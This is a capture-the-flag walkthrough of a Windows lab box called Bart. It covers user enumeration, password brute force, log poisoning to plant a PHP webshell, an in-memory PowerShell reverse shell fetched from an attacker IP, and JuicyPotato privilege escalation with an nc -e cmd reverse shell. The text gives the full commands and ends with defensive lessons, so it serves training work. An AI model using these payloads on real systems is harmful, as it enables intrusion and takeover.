Bart
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR.Bartis aWindowsbox with a singleHTTPport. We discover the vhostsforum,monitorandinternal-01. On the web we leak users (one commented out in the source), validate them by abusing the "forgot password" feature (user enumeration) and brute-forceharvey:potter.PHP Server Monitorleads to an internal chat whoselog.phprecords theUser-Agent: a log poisoning gives usRCEand a shell asnt authority\iusr. WithSeImpersonatePrivilege,JuicyPotato(SeImpersonate abuse) escalates toAdministrator.
Recon
Host discovery
ping -c 1 10.10.10.81
64 bytes from 10.10.10.81: icmp_seq=1 ttl=127 time=106 msTTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan.
UDP scan: nothing
On a Windows box it pays to check UDP before writing it off: ports 53, 88, 123 or 137 would give away a Domain Controller. Not here:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.81 | grep -v 'no-response'
Initiating UDP Scan at 23:13
Scanning 10.10.10.81 [100 ports]
Completed UDP Scan at 23:13, 2.24s elapsed (100 total ports)
Nmap scan report for 10.10.10.81
Host is up, received user-set.
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 2.37 seconds
Raw packets sent: 258 (15.872KB) | Rcvd: 0 (0B)Empty table and Rcvd: 0 (0B): not a single packet back. That rules out a DC and rules out SNMP, NetBIOS and TFTP in one go. An empty result, when shown, spares the reader wondering whether it was even checked.
Full TCP scan
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.81 -oG scan
Discovered open port 80/tcp on 10.10.10.81
Completed SYN Stealth Scan (65535 total ports)
Nmap scan report for 10.10.10.81
Host is up, received user-set (0.11s latency).
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127One port out of 65535. No SMB, no RDP, no WinRM: absolutely everything has to come in through port 80.

Extracting information...
IP Address: 10.10.10.81
Open ports: 80
Ports copied to clipboardnmap -p80 -sCV 10.10.10.81
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsThree facts. IIS 10.0 has no usable CVE in this configuration. TRACE being enabled is bad practice (it used to enable the old Cross-Site Tracing), but modern browsers make it a dead end. What matters is Did not follow redirect to http://forum.bart.htb/: the server wants to be addressed by name, the sign of virtual hosting.

10.10.10.81 bart.htb forum.bart.htbHTTP - TCP 80: vhosts
With the base domain we can fuzz by virtual host: same IP, different Host header. The --hh=0 filter drops the empty responses, which are the ones a non-existent vhost returns.
wfuzz -u 'http://bart.htb' -H 'Host: FUZZ.bart.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh=0
ID Response Lines Word Chars Payload
000000023: 200 548 L 2412 W 35529 Ch "forum"
000000099: 200 80 L 221 W 3423 Ch "monitor"Two hits, of very different sizes: forum at 35,529 characters (a full site) and monitor at 3,423 (something much smaller, typically a login panel).

10.10.10.81 bart.htb forum.bart.htb monitor.bart.htbwhatweb http://forum.bart.htb
whatweb http://monitor.bart.htb
http://forum.bart.htb [200 OK] Bootstrap, Country[RESERVED][ZZ],
Email[d.simmons@bart.htb,h.potter@bart.htb,info@bart.htb,r.hilton@bart.htb,s.brown@bart.loca,s.brown@bart.local],
HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.81], JQuery, MetaGenerator[WordPress 4.8.2],
Microsoft-IIS[10.0], PoweredBy[WordPress], Script[text/javascript], Title[BART], WordPress[4.8.2]
http://monitor.bart.htb [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5,
HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.81], JQuery[1.7.1], Microsoft-IIS[10.0], PHP[7.1.7],
PasswordField[user_password], Script[text/javascript], Title[SERVER MONITOR], X-Powered-By[PHP/7.1.7]The Email field is the finding: six addresses, h.potter@bart.htb among them. Keep them.
Wappalyzer on the forum says more than whatweb did: it is not just any WordPress, it is WordPress 4.8.2 with the aThemes Sydney theme, served by IIS 10.0 on Windows Server with MySQL behind it.


Three findings that steer the rest:
forum.bart.htblooks likeWordPressbut is static, with an oldjQuery.whatwebextracts email addresses from the HTML. They will matter again.monitor.bart.htbrunsPHP Server Monitor v3.2.1on PHP and MySQL, with its own login panel. That is where there is something to attack.
Leaked users

The site lists employees with names and emails. Cross-checking them against the addresses whatweb pulled out, one is not rendered by the page. That can only mean it lives in the HTML but hidden:

<!-- <div class="owl-item" ...><div class="team-item">
...
<div class="name">Harvey Potter</div>
<div class="pos">Developer@BART</div>
...
<li><a class="mail" href="mailto:h.potter@bart.htb" target="_blank"><i class="fa">M</i></a></li>
...
</div></div>-->
<!-- Adding other employees breaks the CSS, I will fix it later. -->Harvey Potter was commented out, with the excuse that he "breaks the CSS". Commenting something in HTML does not hide it: it flags it. And his role, Developer@BART, makes him the most interesting of the five.
We put all the names into a file, one per line, and generate the username variants:
nano users
cat users
username-anarchy --input-file users > userlist.txt
File: users
samantha brown
daniel simmons
robert hilton
harvey potter
jane doe
File: userlist.txt
samantha
samanthabrown
samantha.brown
samabrow
samanthab
s.brown
sbrown
bsamantha
b.samantha
browns
brown
brown.s
brown.samantha
sb
daniel
...username-anarchy does not ship with Kali: it is a Ruby script you clone from its repository. From five names it generates every common convention (harvey, hpotter, potterh, harvey.potter…), which is exactly what you need when you know who works there but not what their account is called.
Access as harvey
User enumeration via "forgot password"
PHP Server Monitor has a password-recovery feature, and the link sits in the sign-in form itself, right next to the Login button:

It asks for only the username:

That form answers differently depending on whether the account exists, so it is an oracle: it lets us validate users before burning hours on brute force. We intercept the request to see which fields it wants (there is a CSRF token and the session cookie) and replay it with wfuzz, filtering by the length of the "user does not exist" answer:
wfuzz -u 'http://monitor.bart.htb' -H 'Cookie: PHPSESSID=<cookie>' -d 'csrf=<csrf>&user_name=FUZZ&action=forgot' -w userlist.txt -t 50 --hh=3318
ID Response Lines Word Chars Payload
000000045: 200 84 L 243 W 3639 Ch "harvey"
000000015: 200 84 L 243 W 3639 Ch "daniel"Two valid names out of the whole list: harvey and daniel. harvey showing up confirms the source-code hint and cuts the next step down to a single user.
Password brute force
The login is intercepted the same way, to pull the field names and that particular request's CSRF:

We search for the password with the same userlist.txt, not with rockyou. The bet is that it is a variant of the name itself, which is what usually happens on test accounts, and trying a few dozen candidates is far cheaper than firing fourteen million:
wfuzz -u 'http://monitor.bart.htb' -H 'Cookie: PHPSESSID=<cookie>' -d 'csrf=<csrf>&user_name=harvey&user_password=FUZZ&action=login' -w userlist.txt -t 50 --hh=3601,3581
000000056: 302 0 L 0 W 0 Ch "potter"The answer that gives away the hit is a 302 with 0 characters: a successful login redirects instead of rendering the form again. harvey's password is potter, his own surname.

Inside, PHP Server Monitor does what it says: it watches servers and websites. And one of the monitored entries is called "Internal Chat". Opening its record shows the address:

Internal Chat
Status: on
Type: Website
Domain/IP: http://internal-01.bart.htb/
Port: 80A fourth vhost that the 110,000-name wordlist never found, handed over by the monitoring tool itself.

10.10.10.81 bart.htb forum.bart.htb monitor.bart.htb internal-01.bart.htbRCE: log poisoning
Registering on the chat through the back door

The chat has its own login and harvey:potter does not work here: different user stores. Time to enumerate paths:
dirsearch -u http://internal-01.bart.htb/simple_chat/ --exclude-status=404,403
[16:15:59] 301 - 166B - /simple_chat/js -> http://internal-01.bart.htb/simple_chat/js/
[16:16:28] 302 - 4B - /simple_chat/chat.php -> simple_chat/login_form.php
[16:16:31] 301 - 167B - /simple_chat/css -> http://internal-01.bart.htb/simple_chat/css/
[16:16:41] 301 - 172B - /simple_chat/includes -> http://internal-01.bart.htb/simple_chat/includes/
[16:16:46] 302 - 0B - /simple_chat/login.php -> login_form.php
[16:16:48] 301 - 169B - /simple_chat/media -> http://internal-01.bart.htb/simple_chat/media/
[16:17:01] 302 - 0B - /simple_chat/register.php -> register_form.php
Task CompletedThere is a register.php, even though the form that goes with it is linked nowhere. Requesting it does something odd:
curl -I http://internal-01.bart.htb/simple_chat/register.php
curl -LI http://internal-01.bart.htb/simple_chat/register.php
HTTP/1.1 302 Found
Content-Length: 0
Location: register_form.php
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.1.7
Set-Cookie: PHPSESSID=hial532tsfjs9e4o8n4i9nvqpp; path=/
HTTP/1.1 500 Internal Server Error
Content-Length: 75
Content-Type: text/html
Server: Microsoft-IIS/10.0The distinction is the key: register.php answers fine (302), and what is broken is register_form.php (500), that is, the visual form. Since the .php that processes the signup works, we can talk to it directly without going through the HTML. All we need is the field names, and for that we look at the login's, which are usually the same. Sending any attempt with the Network tab open, the request's Payload spells them out:

Form Data
uname=test&passwd=test&submit=LoginIt also makes clear the length check (The Password must be at least 8 characters) is client-side: the request goes out anyway. With the three names, the signup goes out by hand:
curl http://internal-01.bart.htb/simple_chat/register.php -d 'uname=jaime&passwd=jaime123&submit=Register'
root@kali:~/machines/bart# curl http://internal-01.bart.htb/simple_chat/register.php -d 'uname=jaime&passwd=jaime123&submit=Register'
root@kali:~/machines/bart#The server prints nothing. No output does not mean it failed (the script redirects to the broken form and writes no body), so the check is to try logging in:

The vector that was not
Inside there is a chat with messages from harvey, daniel and bobby. The first thing anyone tries in a chat is storing code:

(2025-12-10 13:32:08) jaime says:
<h1>hola</h1>
(2025-12-10 13:29:44) jaime says:
<script>alert(123)</script>The tags render literally: the application escapes its output, so there is no stored XSS. A dead end, but worth showing because it is everyone's first idea, and ruling it out forces you to read the rest of the conversation instead of pushing harder.
The hint is in the messages

(2017-10-04 20:38:11) bobby says:
@harvey: DUDE! Do not place development code in here, this is a production server!
(2017-10-04 14:53:12) daniel says:
Well done H! This looks good
(2017-10-04 14:51:29) harvey says:
Test!bobby is telling harvey off for leaving development code on a production server. That is not flavour text: it is the instruction on where to look. And the page source confirms it:

<!-- <div id="title"><h1>[DEV] Internal Chat</h1></div>
<div id="title"><h1>Internal use only</h1></div> -->
...
<script>
function saveChat() {
// create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
var xhr = new XMLHttpRequest();
...
xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
xhr.send(null);
alert("Done");
}
</script>
<a href="#" onclick="saveChat()">Log</a>There is the development code bobby was complaining about: a saveChat() function calling /log/log.php with a GET filename and a username. Two client-controlled parameters, one of them a filename.
What log.php does
http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey
1It returns 1, which is what PHP prints for a true. Changing the filename still returns 1:

1So it is checking nothing: it accepts any value. The hypothesis is that the 1 means "file created successfully", and we test it by requesting the file:

[2025-12-10 17:22:26] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0Confirmed, with two gifts: the file is created with whatever name we pass (extension included) and its contents include the User-Agent verbatim, a field we fully control.
Poisoning the log with PHP
Both pieces together are a textbook log poisoning: a .php filename (so IIS interprets it) plus PHP injected through the header.
curl 'http://internal-01.bart.htb/log/log.php?filename=test.php&username=harvey' -H 'User-Agent: <?php system("whoami");?>'
curl 'http://internal-01.bart.htb/log/test.php'
[2025-12-10 18:16:55] - harvey - nt authority\iusrWhere the User-Agent string should appear, nt authority\iusr shows up instead: the server did not write it, it ran it. That is RCE. We turn it into a parameterised webshell so we do not repeat the whole dance per command:
curl 'http://internal-01.bart.htb/log/log.php?filename=cmd.php&username=harvey' -H 'User-Agent: <?php system($_GET["cmd"]);?>'
curl 'http://internal-01.bart.htb/log/cmd.php?cmd=whoami'
1
[2025-12-10 19:06:30] - harvey - nt authority\iusrInitial access
The webshell is fine for one-off commands but not for working. We use Nishang's Invoke-PowerShellTcp (repo), setting the IP and port at the end of the file:

We serve it over HTTP and leave Penelope listening (better than nc because it negotiates the TTY and survives drops):
python3 -m http.server 80
penelope
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 - 192.168.1.80 - 172.17.0.1 - 10.10.16.4The payload does not write the file to disk: it pulls it into memory with downloadString and runs it with IEX, leaving no trace on the filesystem.
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/rev.ps1')
http://internal-01.bart.htb/log/cmd.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/rev.ps1')
[2025-12-10 19:06:30] - harvey -There is nothing after the dash: IEX writes nothing to the webshell's stdout because the session leaves through the other side. Here, returning no output is the sign that it worked.

[+] Got reverse shell from BART~10.10.10.81-Microsoft_Windows_10_Pro-x64 Assigned SessionID <1>
PS C:\inetpub\wwwroot\internal-01\log> whoami
nt authority\iusrA PowerShell session as nt authority\iusr, IIS's anonymous account.
Privilege escalation
The user flag is not there
cmd /c dir /r /s user.txt
PS C:\Users> cmd /c dir /r /s user.txt
Volume in drive C has no label.
Volume Serial Number is 4406-E731
File Not Foundiusr cannot even read the profile where the flag lives. That rules out the usual detour (grab the user flag, then escalate) and leaves one route: go straight to SYSTEM and take both flags at once.
SeImpersonatePrivilege abuse with JuicyPotato
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledSeImpersonatePrivilege is Enabled. That privilege lets a process adopt the token of a client that connects to it, and IIS service accounts hold it by design. The Potato family exploits it by tricking a SYSTEM service into authenticating against a local port we control, capturing its token and using it to spawn a process.
We upload the exploit and nc.exe:
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip && unzip netcat-win32-1.12.zip
python3 -m http.server 80
JuicyPotato.exe rev.ps1certutil -f -urlcache -split http://10.10.16.4/JuicyPotato.exe
certutil -f -urlcache -split http://10.10.16.4/nc64.exe
PS C:\certutil -f -urlcache -split http://10.10.16.4/JuicyPotato.exe JuicyPotato.exe
**** Online ****
000000 ...
054e00
CertUtil: -URLCache command completed successfully.
10.10.10.81 - - [10/Dec/2025 19:29:43] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.81 - - [10/Dec/2025 19:29:46] "GET /JuicyPotato.exe HTTP/1.1" 200 -
PS C:\Windows\Temp> certutil -f -urlcache -split http://10.10.16.4/nc64.exe nc64.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
# and on the attacker's HTTP server:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.81 - - [10/Dec/2025 19:34:29] "GET /nc64.exe HTTP/1.1" 200 -
10.10.10.81 - - [10/Dec/2025 19:34:30] "GET /nc64.exe HTTP/1.1" 200 -With the 4443 listener ready (the port handed to nc in the -a argument):
rlwrap nc -nlvp 4443.\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443"
PS C:\Windows\Temp> .\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
COM -> recv failed with error: 10038It fails, and two runs in a row give the same thing. The reason is on the first line: JuicyPotato uses a default CLSID ({4991d34b-...}, the BITS one) that is not registered or not impersonatable on every Windows version. error: 10038 is "operation on something that is not a socket", meaning the COM object never connected at all.
The fix is to pick a CLSID that does exist on this system:
systeminfo
Host Name: BART
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.15063 N/A Build 15063
System Model: VMware Virtual PlatformThe JuicyPotato repository keeps a CLSID list per operating system; for Windows 10 Pro there are several, and we only need one that resolves to NT AUTHORITY\SYSTEM:
.\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"
Testing {5B3E6773-3A99-4A3D-8096-7765DD11785C} 1337
[+] authresult 0
{5B3E6773-3A99-4A3D-8096-7765DD11785C};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.81] 54102
Microsoft Windows [Version 10.0.15063]
C:\Windows\system32>The {5B3E6773-...};NT AUTHORITY\SYSTEM line is the proof: that CLSID runs under SYSTEM's identity, and CreateProcessWithTokenW OK confirms the process was spawned with that token. The shell landing on 4443 is already privileged and can read both flags:

C:\Users>type h.potter\Desktop\user.txt
afb87f3417d14dbaf5b6ae6486876f56
C:\Users>type Administrator\Desktop\root.txt
4fe14d3cdefa06c83787b9e3d38339c5The user flag lived in h.potter's profile, the very user someone had commented out of the HTML at the start.
Attack chain
HTTP/IIS (single port) → redirect to forum.bart.htb → vhost fuzz → monitor.bart.htb
│ harvey commented out in the source → username-anarchy
▼
forgot-password (username enumeration) → harvey and daniel valid
│ login brute force with the same userlist
▼
harvey:potter on PHP Server Monitor → "Internal Chat" record → internal-01.bart.htb
│ register.php directly (register_form.php returns 500) → chat
▼
bobby's message → [DEV] code in the source → log.php creates files and logs the User-Agent
▼
log poisoning (PHP User-Agent) → cmd.php webshell → RCE as nt authority\iusr
│ Nishang IEX in memory
▼
SeImpersonatePrivilege → JuicyPotato (Windows 10 Pro CLSID) → NT AUTHORITY\SYSTEM
│
▼
user.txt (h.potter) + root.txtLessons learned
- "Hidden" source code hides nothing. Commenting a user out of the HTML leaves them visible to anyone reading the source and, on top of that, marks them as interesting. Never rely on the client side to hide information.
- Forms that answer differently leak users.
PHP Server Monitor's "forgot password" allowed enumerating accounts before any brute force. Responses must be identical whether the user exists or not. - A broken form does not mean a broken endpoint.
register_form.phpreturned 500, butregister.phpprocessed signups perfectly. Talking to the backend directly removes the dependency on the HTML. - Never log user-controlled data into an interpretable file. Storing the
User-Agentin a reachable.phpis the recipe for log poisoning: keep logs out of the web root, do not give them an executable extension and sanitise what gets written. SeImpersonatePrivilegeis still a door toSYSTEM. Web service accounts likeiusrusually hold it; the Potato family turns it intoSYSTEM. When the defaultCLSIDfails with arecv failed, it is not that the privilege is useless: you need one from the list for that exact OS version.